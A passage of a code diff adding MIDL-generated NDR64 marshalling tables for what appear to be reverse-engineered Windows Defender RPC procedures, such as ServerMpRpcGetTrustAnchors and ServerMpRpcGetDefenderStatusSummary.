*/ + { + /* **Struct_4778_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_4778_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2284 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2277 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2285 + } +}; + +static const __midl_frag2281_t __midl_frag2281 = +{ +/* */ + { + /* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2278 + } +}; + +static const __midl_frag2279_t __midl_frag2279 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag2278_t __midl_frag2278 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2279 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2277_t __midl_frag2277 = +{ +/* Struct_4778_t */ + { + /* Struct_4778_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4778_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + &__midl_frag2281, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2276_t __midl_frag2276 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */ + } +}; + +static const __midl_frag2275_t __midl_frag2275 = +{ +/* **Struct_4778_t */ + { + /* **Struct_4778_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_4778_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2276 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2277 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2285 + } +}; + +static const __midl_frag2274_t __midl_frag2274 = +{ +/* Struct_4838_t */ + { + /* Struct_4838_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4838_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* **Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2275 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* **Struct_4778_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2283 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag2273_t __midl_frag2273 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + } +}; + +static const __midl_frag2272_t __midl_frag2272 = +{ +/* **Struct_4838_t */ + { + /* **Struct_4838_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_4838_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2273 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_4838_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2274 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2286 + } +}; + +static const __midl_frag2271_t __midl_frag2271 = +{ +/* Struct_4886_t */ + { + /* Struct_4886_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4886_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag2287, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2270_t __midl_frag2270 = +{ +/* *Struct_4886_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2271 +}; + +static const __midl_frag2269_t __midl_frag2269 = +{ +/* **Struct_4886_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2270 +}; + +static const __midl_frag2266_t __midl_frag2266 = +{ +/* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 +}; + +static const __midl_frag2265_t __midl_frag2265 = +{ +/* Proc226_ServerMpRpcGetTrustAnchors */ + { + /* Proc226_ServerMpRpcGetTrustAnchors */ /* procedure Proc226_ServerMpRpcGetTrustAnchors */ + (NDR64_UINT32) 21889088 /* 0x14e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2266, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2269, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2261_t __midl_frag2261 = +{ +/* *Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1313 +}; + +static const __midl_frag2260_t __midl_frag2260 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ /* Offset */ + } +}; + +static const __midl_frag2259_t __midl_frag2259 = +{ +/* **Struct_3108_t */ + { + /* **Struct_3108_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3108_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2260 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1313 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag2261 + } +}; + +static const __midl_frag2258_t __midl_frag2258 = +{ +/* **Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2259 +}; + +static const __midl_frag2257_t __midl_frag2257 = +{ +/* ***Struct_3108_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2258 +}; + +static const __midl_frag2254_t __midl_frag2254 = +{ +/* Proc225_ServerMpRpcGetHIPSCustomRuleInfo */ + { + /* Proc225_ServerMpRpcGetHIPSCustomRuleInfo */ /* procedure Proc225_ServerMpRpcGetHIPSCustomRuleInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2257, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2248_t __midl_frag2248 = +{ +/* Proc224_ServerMpRpcGetDefenderStatusSummary */ + { + /* Proc224_ServerMpRpcGetDefenderStatusSummary */ /* procedure Proc224_ServerMpRpcGetDefenderStatusSummary */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2241_t __midl_frag2241 = +{ +/* */ + (NDR64_UINT32) 0 /* 0x0 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ /* Offset */ + } +}; + +static const __midl_frag2240_t __midl_frag2240 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2241 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag2239_t __midl_frag2239 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2240 +}; + +static const __midl_frag2238_t __midl_frag2238 = +{ +/* **char */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2239 +}; + +static const __midl_frag2235_t __midl_frag2235 = +{ +/* Proc223_ServerMpRpcEffectiveConfigurationReport */ + { + /* Proc223_ServerMpRpcEffectiveConfigurationReport */ /* procedure Proc223_ServerMpRpcEffectiveConfigurationReport */ + (NDR64_UINT32) 21889088 /* 0x14e0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2238, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2228_t __midl_frag2228 = +{ +/* Struct_4704_t */ + { + /* Struct_4704_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4704_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + 